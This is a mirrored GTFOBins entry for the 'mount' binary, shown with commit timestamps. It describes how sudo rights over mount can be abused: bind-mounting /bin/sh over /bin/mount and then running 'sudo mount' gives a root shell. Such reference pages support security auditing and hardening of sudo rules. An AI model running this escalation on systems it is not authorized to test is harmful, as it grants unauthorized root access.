1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00
GTFOBins.github.io/_gtfobins/mount.md

9 lines
236 B
Markdown
Raw Normal View History

2018-07-16 10:00:14 +02:00
---
functions:
sudo-enabled:
2018-07-16 15:01:50 +02:00
- description: Exploit the fact that `mount` can be executed via `sudo` to *replace* the `mount` binary with a shell.
code: |
sudo mount -o bind /bin/sh /bin/mount
sudo mount
2018-07-16 10:00:14 +02:00
---